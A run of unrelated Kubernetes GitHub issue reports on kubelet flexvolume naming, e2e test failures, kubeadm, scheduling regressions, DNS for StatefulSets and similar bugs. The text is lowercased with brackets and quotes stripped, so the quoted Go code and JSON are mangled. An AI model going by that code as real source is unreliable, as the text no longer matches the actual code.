  @saad ali\r \r \r   what happened  :\r i will develop a flexvolume driver,when i implement the interface getvolumename,i found the volume name is not mine.so i find the code of kubelet,i find the kubelet has not use my volume name,this is a bug.\r \r   what you expected to happen  :\r i think kubelet should use the volume name like this sequence: \r 1 use the user have implemeted.\r 2 if user do not implemeted the getvolumename,then use volume's name.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r implement the flexvolume's interface getvolumename,then create pod,you will find the pod's volume name is not used.\r \r   anything else we need to know?  :\r the kubelet code:\r \r func  plugin  flexvolumeplugin  getvolumename spec  volume.spec   string, error  {\r \tcall := plugin.newdrivercall getvolumenamecmd \r \tcall.appendspec spec, plugin.host, nil \r         _, err := call.run          // do not use the user's volume name\r \tif iscmdnotsupportederr err  {\r \t\treturn   plugindefaults  plugin .getvolumename spec \r \t} else if err != nil {\r \t\treturn \ \ , err\r \t}\r \tname, err :=   plugindefaults  plugin .getvolumename spec \r \tif err != nil {\r \t\treturn \ \ , err\r \t}\r \tglog.warning logprefix plugin , \ getvolumename is not supported yet. defaulting to pv or volume name: \ , name \r \treturn name, nil\r }\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.5\r - cloud provider or hardware configuration: no\r - os  e.g. from /etc/os-release : centos linux release 7.4.1708  core

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : when running e2e conformance tests against a  v1.13.2  cluster using a public https endpoint for the apiserver, you get the following errors:\r \r    \r • failure  270.975 seconds \r  k8s.io  pods\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:694\r   should support retrieving logs from the container over websockets  nodeconformance   conformance   it \r   /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:699\r \r   jan 17 19:59:43.264: failed to open websocket to ws://my-apiserver.example.com:80/api/v1/namespaces/e2e-tests-pods-z49g5/pods/pod-logs-websocket-cdc21ea5-1a91-11e9-9465-0242ac110002/log?container=main: websocket.dial ws://my-apiserver.example.com:80/api/v1/namespaces/e2e-tests-pods-z49g5/pods/pod-logs-websocket-cdc21ea5-1a91-11e9-9465-0242ac110002/log?container=main: dial tcp 3.x.x.x:80: connect: connection timed out\r \r   /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:598\r ------------------------------\r jan 17 19:59:43.470: info: running aftersuite actions on all nodes\r    \r \r   what you expected to happen  :\r \r the api server endpoint is  https://my-apiserver.example.com  so the e2e tests should use  wss://  and connect on port  443  instead of  80 .\r \r   how to reproduce it  as minimally and precisely as possible   : run e2e conformance tests against a cluster with the apiserver exposed on a public endpoint with a public ca.\r \r   anything else we need to know?  :\r \r when looking at the code here: https://github.com/kubernetes/kubernetes/blob/5e86fa43f59f8ed4fd353ab17dc1e65708a9ae71/test/e2e/common/pods.go l563-l618\r \r it looks like the tlsconfig is not correctly derived from the url. diving into  framework.openwebsocketforurl  i see that this uses  tlsconfigfor  deep down:\r \r https://github.com/kubernetes/kubernetes/blob/5e86fa43f59f8ed4fd353ab17dc1e65708a9ae71/staging/src/k8s.io/client-go/transport/transport.go l53-l116\r \r and this seem to return  nil  unless the kubeconfig has a ca or other explicit tls config configured: https://github.com/kubernetes/kubernetes/blob/5e86fa43f59f8ed4fd353ab17dc1e65708a9ae71/staging/src/k8s.io/client-go/transport/transport.go l56\r \r i believe if this check also checked the  scheme  of the url, then it would be correct: https://github.com/kubernetes/kubernetes/blob/5e86fa43f59f8ed4fd353ab17dc1e65708a9ae71/test/e2e/framework/util.go l4399\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

.linted_packages is a list of packages that are go-lint clean. the idea is that you list the packages there that should remain that way, and the build will error if you introduce a lint error.  also, the build will error if you make a package go-lint clean. it also tells you to just add it to the end of the list with an echo command. i have had to rebase 2 prs 4 times each this week alone because of conflicts at the end of this file. my workaround now is that i'm adding mine to the middle of the list. but perhaps there should be a standard conflict-free way to add to this list.

@kubernetes/sig-cluster-lifecycle\r \r having trouble getting kubeadm to work properly for my raspberry pi cluster, i'm seeing:\r \r    \r root@node-1:/home/pirate  kubeadm join --token=f182a8.d958417cefe5a6bf 10.0.0.1\r running pre-flight checks\r <util/tokens> validating provided token\r <node/discovery> created cluster info discovery client, requesting info from \ http://10.0.0.1:9898/cluster-info/v1/?token-id=f182a8\ \r <node/discovery> cluster info object received, verifying signature using given token\r <node/discovery> cluster info signature and contents are valid, will use api endpoints  https://10.0.0.1:6443 \r <node/bootstrap> trying to connect to endpoint https://10.0.0.1:6443\r <node/bootstrap> detected server version v1.4.4\r <node/bootstrap> successfully established connection with endpoint https://10.0.0.1:6443\r <node/csr> created api client to obtain unique certificate for this node, generating keys and certificate signing request\r \r kubeadm: i am an alpha version, my authors welcome your feedback and bug reports\r kubeadm: please create an issue using https://github.com/kubernetes/kubernetes/issues/new\r kubeadm: and make sure to mention @kubernetes/sig-cluster-lifecycle. thank you!\r <node/csr> failed to request signed certificate from the api server  watch channel closed \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-aws/262/  failed:  k8s.io  kubectl client  k8s.io  kubectl apply should reuse port when apply to an existing svc {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:633 expected error:     <exec.codeexiterror>: {         err: {             s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.163.187.17 --kubeconfig=/workspace/.kube/config apply -f - --namespace=e2e-tests-kubectl-qfwuv      0xc420accd60  unable to connect to the server: dial tcp 35.163.187.17:443: i/o timeout\     <nil> 0xc420a95da0 exit status 1 <nil> <nil> true  0xc4206049a8 0xc4206049e8 0xc420604a10   0xc4206049a8 0xc4206049e8 0xc420604a10   0xc4206049b0 0xc4206049c8 0xc4206049f8   0x957cf0 0x957df0 0x957df0  0xc420dadb00 <nil>}:\ command stdout:\ \ stderr:\ unable to connect to the server: dial tcp 35.163.187.17:443: i/o timeout\ \ error:\ exit status 1\ \ ,         },         code: 1,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.163.187.17 --kubeconfig=/workspace/.kube/config apply -f - --namespace=e2e-tests-kubectl-qfwuv      0xc420accd60  unable to connect to the server: dial tcp 35.163.187.17:443: i/o timeout         <nil> 0xc420a95da0 exit status 1 <nil> <nil> true  0xc4206049a8 0xc4206049e8 0xc420604a10   0xc4206049a8 0xc4206049e8 0xc420604a10   0xc4206049b0 0xc4206049c8 0xc4206049f8   0x957cf0 0x957df0 0x957df0  0xc420dadb00 <nil>}:     command stdout:          stderr:     unable to connect to the server: dial tcp 35.163.187.17:443: i/o timeout          error:     exit status 1      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2052

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/932/  failed:  k8s.io  statefulset  k8s.io  basic statefulset functionality scaling should happen in predictable order and halt if any pet is unhealthy {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:348 dec  4 21:17:04.862: statefulset pet scaled unexpectedly scaled to 1 -> 2 replicas: &podlist{listmeta:k8s_io_kubernetes_pkg_apis_meta_v1.listmeta{selflink:/api/v1/namespaces/e2e-tests-statefulset-dszdz/pods,resourceversion:9035,},items: {{ } {pet-0 pet- e2e-tests-statefulset-dszdz /api/v1/namespaces/e2e-tests-statefulset-dszdz/pods/pet-0 f6d91781-baa9-11e6-a84d-42010af00002 8982 0 2016-12-04 21:16:23 -0800 pst <nil> <nil> map baz:blah foo:bar  map kubernetes.io/created-by:{\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ statefulset\ ,\ namespace\ :\ e2e-tests-statefulset-dszdz\ ,\ name\ :\ pet\ ,\ uid\ :\ f6d77da6-baa9-11e6-a84d-42010af00002\ ,\ apiversion\ :\ apps\ ,\ resourceversion\ :\ 8054\ }}  pod.beta.kubernetes.io/hostname:pet-0 pod.beta.kubernetes.io/subdomain:test        } { {default-token-c00c6 {nil nil nil nil nil secretvolumesource{secretname:default-token-c00c6,items:  ,defaultmode: 420,} nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil}}      {nginx gcr.io/google_containers/nginx-slim:0.7              {map   map  }  {default-token-c00c6 true /var/run/secrets/kubernetes.io/serviceaccount }  nil &probe{handler:handler{exec:nil,httpget:&httpgetaction{path:/index.html,port:80,host:,scheme:http,httpheaders:  ,},tcpsocket:nil,},initialdelayseconds:0,timeoutseconds:1,periodseconds:10,successthreshold:1,failurethreshold:3,} nil /dev/termination-log ifnotpresent nil false false false}  always 0xc420f31148 <nil> clusterfirst map   default default bootstrap-e2e-minion-group-g8rm false false false &podsecuritycontext{selinuxoptions:nil,runasuser:nil,runasnonroot:nil,supplementalgroups:  ,fsgroup:nil,}     } {running  {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-04 21:16:23 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-04 21:17:03 -0800 pst containersnotready containers with unready status:  nginx } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-04 21:16:23 -0800 pst  }    10.240.0.5 10.180.0.137 2016-12-04 21:16:23 -0800 pst     {nginx {nil &containerstaterunning{startedat:2016-12-04 21:16:24 -0800 pst,} nil} {nil nil nil} false 0 gcr.io/google_containers/nginx-slim:0.7 docker://sha256:a9bfbd3ba7f240fb561895271c875fe21722d30560e56dbf9598ffde1615d4dc docker://986156a5ea2d660b54727047a10ab33ee72977311b48a84c8417c80b872d1d1f} }} {{ } {pet-1 pet- e2e-tests-statefulset-dszdz /api/v1/namespaces/e2e-tests-statefulset-dszdz/pods/pet-1 0efdcb2d-baaa-11e6-a84d-42010af00002 9010 0 2016-12-04 21:17:04 -0800 pst <nil> <nil> map baz:blah foo:bar  map pod.beta.kubernetes.io/subdomain:test kubernetes.io/created-by:{\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ statefulset\ ,\ namespace\ :\ e2e-tests-statefulset-dszdz\ ,\ name\ :\ pet\ ,\ uid\ :\ f6d77da6-baa9-11e6-a84d-42010af00002\ ,\ apiversion\ :\ apps\ ,\ resourceversion\ :\ 8989\ }}  pod.beta.kubernetes.io/hostname:pet-1        } { {default-token-c00c6 {nil nil nil nil nil &secretvolumesource{secretname:default-token-c00c6,items:  ,defaultmode: 420,} nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil}}      {nginx gcr.io/google_containers/nginx-slim:0.7              {map   map  }  {default-token-c00c6 true /var/run/secrets/kubernetes.io/serviceaccount }  nil &probe{handler:handler{exec:nil,httpget:&httpgetaction{path:/index.html,port:80,host:,scheme:http,httpheaders:  ,},tcpsocket:nil,},initialdelayseconds:0,timeoutseconds:1,periodseconds:10,successthreshold:1,failurethreshold:3,} nil /dev/termination-log ifnotpresent nil false false false}  always 0xc420f31298 <nil> clusterfirst map   default default bootstrap-e2e-minion-group-2sag false false false &podsecuritycontext{selinuxoptions:nil,runasuser:nil,runasnonroot:nil,supplementalgroups:  ,fsgroup:nil,}     } {pending  {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-04 21:17:04 -0800 pst  }      <nil>      }} ,} /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:895

i added jobs to our scalability tests:  38461 and i can't get it succeed when running load. the test creates a big number of jobs of various sizes using pods that never finish, resizes them twice, and then tries to delete them. the result i see is the following:\r    \r step: deleting {batch job} load-small-11 in namespace e2e-tests-load-30-nodepods-1-ch417, will wait for the garbage collector to delete the pods\r step: deleting {batch job} load-medium-13 in namespace e2e-tests-load-30-nodepods-1-ch417, will wait for the garbage collector to delete the pods\r step: deleting {batch job} load-small-207 in namespace e2e-tests-load-30-nodepods-1-ch417, will wait for the garbage collector to delete the pods\r dec  9 15:01:50.391: info: deleting {batch job} load-small-11 took: 134.161968ms\r dec  9 15:01:51.483: info: deleting {batch job} load-medium-13 took: 135.599372ms\r dec  9 15:01:51.636: info: deleting {batch job} load-small-207 took: 135.699499ms\r dec  9 15:06:53.765: info: unexpected error occurred: error while waiting for pods to become inactive load-small-292: timed out waiting for the condition\r dec  9 15:06:56.280: info: unexpected error occurred: error while waiting for pods to become inactive load-small-36: timed out waiting for the condition\r dec  9 15:06:56.967: info: unexpected error occurred: error while waiting for pods to become inactive load-medium-12: timed out waiting for the condition\r dec  9 15:06:59.503: info: unexpected error occurred: error while waiting for pods to become inactive load-small-231: timed out waiting for the condition\r    \r \r i use  kubectl.reaper  to delete those jobs so i expect it should work.\r \r cc @wojtek-t @timothysc @jeremyeder\r \r @erictune - which sig owns a job?

we are trying to address a use case  real customer  where all the masters and nodes in the cluster has at least 2 network interfaces. we want all the pod traffic  pod <-> pod  to go through one network interface and management/master traffic  master <-> node  on other network interface.\r \r note: this is different from supporting multiple pod ip addresses https://github.com/kubernetes/kubernetes/issues/27398\r \r solution i was thinking: \r - take desired node ip/interface for pod and master traffic as node configuration options.\r - pod traffic on desired interface is achieved by setting the node status address   nodeip  config .\r - node to master traffic on desired interface is achieved by adding an ip route rule on the node  done by the network plugin \r - master to node traffic:\r \r   currently k8s master uses  nodeconnectioninfogetter   kubelet_client.go  to fetch node ip for communication.  nodeconnectioninfogetter  only takes predefined  v1.nodeaddresstype  as preferred node addresses.\r   \r   approach-1: using annotations\r       \r      - on the node, after kubelet creates the node object, add a new annotation on the node object that hints which node ip to be used by master.\r      - change  nodeconnectioninfogetter.getconnectioninfo    to check this new annotation before looking at preferred node address types.\r      \r        downside of this approach is that we need to maintain this patch external to k8s and need to resync during every k8s rebase.\r        \r   approach-2: hacky solution\r   \r      - use  v1.nodeinternalip  node address type for pod traffic and  v1.nodelegacyhostip  for master to node traffic.\r      \r        this is fragile as these address types are intended for other use cases.\r        \r   approach-3: add new node address type in k8s if feasible\r   \r      - this gives first class support but not sure if sig-net community thinks this use case is generic enough or not.\r \r what do you think? any feedback/ideas are appreciated.\r

we need e2e test for controller based resizing as we move forward with implementation in 1.9 .\r \r 

presently, the elasticsearch example kubernetes configurations target elasticsearch v1.7.1, which is quite old. as of this writing, the latest elasticsearch release is v5.6.2, with many deployment changes since then. could the elasticsearch examples be updated to target the v5 series of elasticsearch?\r \r see https://github.com/pires/kubernetes-elasticsearch-cluster for a more up to date reference configuration.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug report\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  : started a kubernetes cluster in azure\r \r   what you expected to happen  : cpu and memory usage available in dashboard\r \r   how to reproduce it  as minimally and precisely as possible   : start the kubernetes cluster in azure, use your browser to go to the dashboard.\r \r \r   anything else we need to know?  : restarting the dashboard pod enabled the expected behaviour. for more info, see: https://stackoverflow.com/questions/49206560/performance-metrics-in-kubernetes-dashboard-missing-in-azure-kubernetes-deployme/\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.9\ , gitcommit:\ 19fe91923d584c30bd6db5c5a21e9f0d5f742de8\ , gittreestate:\ clean\ , builddate:\ 2017-10-19t16:55:06z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r azure. \r $ az acs create --orchestrator-type kubernetes --resource-group mongoresourcegroup --name mongok8scluster --agent-count 5 --generate-ssh-keys\r - os  e.g. from /etc/os-release :\r  assuming client os \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r - kernel  e.g.  uname -a  :\r  assuming client kernel \r linux gateway 4.13.0-1011-azure  14-ubuntu smp thu feb 15 16:15:39 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:

 \r   what happened  :\r \r i used  kubeadm config image list  to pull images by myself because of the network.\r it gives me:\r    \r  kubeadm config images list --kubernetes-version=v1.11.0                                                                                                                                                                                                               !312\r i0706 14:09:14.262155    4490 feature_gate.go:230  feature gates: &{map  }\r k8s.gcr.io/kube-apiserver-amd64:v1.11.0\r k8s.gcr.io/kube-controller-manager-amd64:v1.11.0\r k8s.gcr.io/kube-scheduler-amd64:v1.11.0\r k8s.gcr.io/kube-proxy-amd64:v1.11.0\r k8s.gcr.io/pause-amd64:3.1\r k8s.gcr.io/etcd-amd64:3.2.18\r k8s.gcr.io/coredns:1.1.3\r \r \r    \r \r when i use  kubeadm init  to star a new cluster. it stucks at here.\r \r    \r  init  this might take a minute or longer if the control plane images have to be pulled\r \r    \r when i try to find the reason by looking up the log made by docker:\r    \r jul 06 14:03:40 k8s2-master dockerd-current 1229 : time=\ 2018-07-06t14:03:40.565721724+08:00\  level=error msg=\ handler for get /v1.26/images/k8s.gcr.io/pause:3.1/json returned error: no such image: k8s.gcr.io/pause:3.1\ \r \r    \r i found that it request for a image named \ pause\  rather tah \ pause-amd64\  i have mentioned above.\r when i chagned it, the  kubeadm init  can work well as expected.\r \r   what you expected to happen  :\r it should finish the init\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r the connection to the server localhost:8080 was refused - did you specify the right host or port?\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r - kernel  e.g.  uname -a  :linux k8s2-master 3.10.0-862.3.3.el7.x86_64  1 smp fri jun 15 04:15:27 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r yum\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the e2e tests of \  sig-node  regular resource usage tracking\  are failed on my local e2e environment like the following:\r    \r  k8s.io   sig-node  kubelet  serial   slow \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:679\r    k8s.io   sig-node  regular resource usage tracking\r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:679\r     resource tracking for 0 pods per node  it \r     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node/kubelet_perf.go:270\r \r     aug 17 18:04:31.796: cpu usage exceeding limits:\r      node k8s-master:\r      container \ kubelet\ : expected 50th% usage < 0.100; got 0.112\r     node k8s-node01:\r      container \ kubelet\ : expected 50th% usage < 0.100; got 0.170\r \r     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node/kubelet_perf.go:190\r    \r   what you expected to happen  :\r \r these tests can run successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i kick the test with\r    \r $ go run hack/e2e.go -- --provider=skeleton --test --test_args=\ --ginkgo.focus=resource\\stracking\\sfor\\s0\\spods\\sper\\snode\ \r    \r \r   anything else we need to know?  :\r \r the test expects 50th% of kubelet's cpu usage should be under 10%, but on my environment the kubelet's cpu usage is over 10% normally like the following  top  command output:\r    \r $ top\r   pid user      pr  ni    virt    res    shr s  %cpu %mem     time+ command\r  9223 root      20   0  413064 240208  49304 s  11.6  5.9   1611:30 kube-controller\r  1002 root      20   0  858956 139220  55800 s   9.9  3.4   1709:00 kubelet\r  2687 root      20   0 1010972 886460  60264 s   8.3 21.9   1554:59 kube-apiserver\r \r ...\r \r   pid user      pr  ni    virt    res    shr s  %cpu %mem     time+ command\r  1002 root      20   0  858956 139220  55800 s  15.3  3.4   1709:02 kubelet\r  2687 root      20   0 1010972 896340  60264 s  13.6 22.2   1555:04 kube-apiserver\r  9223 root      20   0  413064 240208  49304 s  13.0  5.9   1611:32 kube-controller\r    \r so my question is why the test expects the cpu usage should be under 10%?\r and the test should be on environments which consist of powerful cpus only?\r my environment consists of 2 intel nucs and 2 dell pc desctops, and the cpus are intel r  core tm  i3-7100u cpu @ 2.40ghz and intel r  core tm  i5-6500 cpu @ 3.20ghz\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.1\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : 16.04.5 lts  xenial xerus \r - kernel  e.g.  uname -a  : 4.4.0-130-generic\r - install tools: kubeadm\r - others:\r

what happened  :\r \r trying to start a container on a windows node results in an error \ the container operating system does not match the host operating system.\ \r \r   what you expected to happen  :\r \r pod should start\r \r   how to reproduce it  as minimally and precisely as possible   :\r try to deploy an application based on nanoserver:1809 to a node running windows server 2019  also 1809  \r \r   anything else we need to know?  :\r i can run the image i'm trying to deploy directly on the node  using docker run ...  and it works fine, so the problem is not in the image, but in the interaction between kubernetes and windows.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.13.1\r - cloud provider or hardware configuration: kubernetes is running on windows 2019 on bare metal\r - os  e.g. from /etc/os-release : windows server 2019\r - kernel  e.g.  uname -a  : 10.0.17763.316\r - install tools:\r - others: docker ee 18.09.2\r \r there's a similar issue here: https://github.com/kubernetes/kubernetes/issues/69901 but it refers to a windows update which apparently fixes this. that update has been applied  and all others as well  but the problem persists\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r the  scheduling framework kep  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md  is now implementable. we have already added plugin interfaces and extension points for \ reserve\  and \ prebind\  plugins. we want to add queue sort extension point for the scheduling framework.\r \r   / /assign\r \r ref https://github.com/kubernetes/enhancements/issues/624

there seeem to be a regression in apiserver/scheduler which leads to the situation that scheduler in not scheduling some pods in large clusters.\r so what is happening is that in 5000-node kubemark, pretty much every run of density test in the last few days is ending with the following error:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/density.go:721\r expected error:\r     < errors.errorstring | 0xc49b9b2640>: {\r         s: \ only 2994 pods started out of 3000\ ,\r     }\r     only 2994 pods started out of 3000\r not to have occurred\r    \r \r the first such failure is this one:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/114\r \r however, we have broken kubemark just before that, so the last run without such failure before this one is:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/108\r \r so the regression was somewhere between those two runs.\r \r it's not even in which part of code the regression is - e.g. it may potentially be in watch.\r \r however, what is suspicious is that it is always about the scheduler that doesn't schedule pods. if the pod is scheduled, then it is also successfully picked by kubelet. \r \r @kubernetes/sig-api-machinery-misc @kubernetes/sig-scheduling-misc @kubernetes/sig-scalability-misc \r @davidopp @gmarek @shyamjvs

for background processes like buffered audit logging it makes sense to always retry the request. this won't change the user request latencies but will increase the reliability for any system that received those events\r \r audit logging is different from auth nz , the latter can be retried by user, audit logs are gone for good, once the webhook decides not to retry\r \r /cc @sttts @tallclair @ericchiang @caoshufeng

 \r i believe this is a bug, but i'm uncertain of the specifics expected beyond the documentation. i was creating a statefulset and headless service, vetting the documentation at https://kubernetes.io/docs/tutorials/stateful-application/basic-stateful-set/\r \r   what happened  :\r \r the sample deployments are available in public github:\r https://github.com/kubernetes-for-developers/kfd-nodejs/blob/0.4.0/deploy/redis.yml  dependent service  and https://github.com/kubernetes-for-developers/kfd-nodejs/blob/0.4.0/deploy/nodejs.yml - example failing service.\r \r when i create the stateful set, it operates as expected - creating replicas and coming online normally. when i attempted to validate the dns entries within the cluster for the headless service is where i ran into issues. \r \r i used the command:\r \r     kubectl run -i --tty --image busybox dns-test --restart=never --rm /bin/sh\r \r to create a temporary pod, in the same namespace. \r \r per the documentation, i expected \ nslookup nodejs-0.nodejs\  to return a value, or at the very least \ nslookup nodejs-0.nodejs.default.svc.cluster.local\  to return a value. instead i received the following:\r \r     /   nslookup nodejs-0.nodejs\r     server:    10.96.0.10\r     address 1: 10.96.0.10 kube-dns.kube-system.svc.cluster.local\r     nslookup: can't resolve 'nodejs-0.nodejs'\r     /   nslookup nodejs-0.nodejs.default.svc.cluster.local\r     server:    10.96.0.10\r     address 1: 10.96.0.10 kube-dns.kube-system.svc.cluster.local\r     nslookup: can't resolve 'nodejs-0.nodejs.default.svc.cluster.local'\r \r i can run an nslookup within an individual pod, and it will see itself, but not it's neighbor:\r \r     kubectl exec -it nodejs-1 -- /bin/sh\r \r     /src   nslookup nodejs-1\r     nslookup: can't resolve ' null ': name does not resolve\r     name:      nodejs-1\r     address 1: 172.17.0.6 nodejs-1.nodejs.default.svc.cluster.local\r     /src   nslookup nodejs-0.nodejs\r     nslookup: can't resolve ' null ': name does not resolve\r     nslookup: can't resolve 'nodejs-0.nodejs': name does not resolve\r \r and when i look at the service endpoint, it shows the endpoints are listed:\r \r     kubectl describe service nodejs-service\r \r     name:              nodejs-service\r     namespace:         default\r     labels:            <none>\r     annotations:       kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ v1\ ,\ kind\ :\ service\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ nodejs-service\ ,\ namespace\ :\ default\ },\ spec\ :{\ clusterip\ :\ none\ ,\ ports\ : {\ n...\r     selector:          app=nodejs\r     type:              clusterip\r     ip:                none\r     port:              web  3000/tcp\r     targetport:        3000/tcp\r     endpoints:         172.17.0.4:3000,172.17.0.6:3000\r     session affinity:  none\r     events:            <none>\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    minikube start --kubernetes-version v1.9.0 --bootstrapper kubeadm\r    git clone https://github.com/kubernetes-for-developers/kfd-nodejs -b 0.4.0\r    kubectl apply -f deploy/\r  \r   anything else we need to know?  :\r \r i've reproduced this with the latest minikube and both a 1.8 cluster and a 1.9 cluster bootstrapped with kubeadm, both with identical results.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r     client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-16t03:16:50z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r     server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t20:55:30z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: minikube w/ kyperkit and minikube w/ virtualbox vm\r \r     minikube version: v0.24.1\r \r - os  e.g. from /etc/os-release :\r \r     name=buildroot\r     version=2017.02\r     id=buildroot\r     version_id=2017.02\r     pretty_name=\ buildroot 2017.02\ \r \r - kernel  e.g.  uname -a  :\r \r     linux minikube 4.9.13  1 smp thu oct 19 17:14:00 utc 2017 x86_64 gnu/linux\r

 https://k8s-testgrid.appspot.com/sig-node-kubelet kubelet-flaky-gce-e2e\r https://k8s-testgrid.appspot.com/sig-node-kubelet kubelet-serial-gce-e2e\r \r likely candidata looks like https://github.com/kubernetes/kubernetes/pull/56995\r \r  cc @mtaufen

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r kube proxy report following error even if ipvs not enabled.\r    \r w0306 09:14:47.817778       1 server.go:185  warning: all flags other than --config, --write-config-to, and --cleanup are deprecated. please begin using a config file asap.\r time=\ 2018-03-06t09:14:47z\  level=warning msg=\ running modprobe ip_vs failed with message:  modprobe: error: ../libkmod/libkmod.c:586 kmod_search_moddep   could not open moddep file '/lib/modules/4.4.0-116-generic/modules.dep.bin'\ modprobe: warning: module ip_vs not found in directory /lib/modules/4.4.0-116-generic , error: exit status 1\ \r time=\ 2018-03-06t09:14:47z\  level=error msg=\ could not get ipvs family information from the kernel. it is possible that ipvs is not enabled in your kernel. native loadbalancing will not work until this is fixed.\ \r w0306 09:14:47.844870       1 server_others.go:289  flag proxy-mode=\ \  unknown, assuming iptables proxy\r i0306 09:14:47.846223       1 server_others.go:138  using iptables proxier.\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally 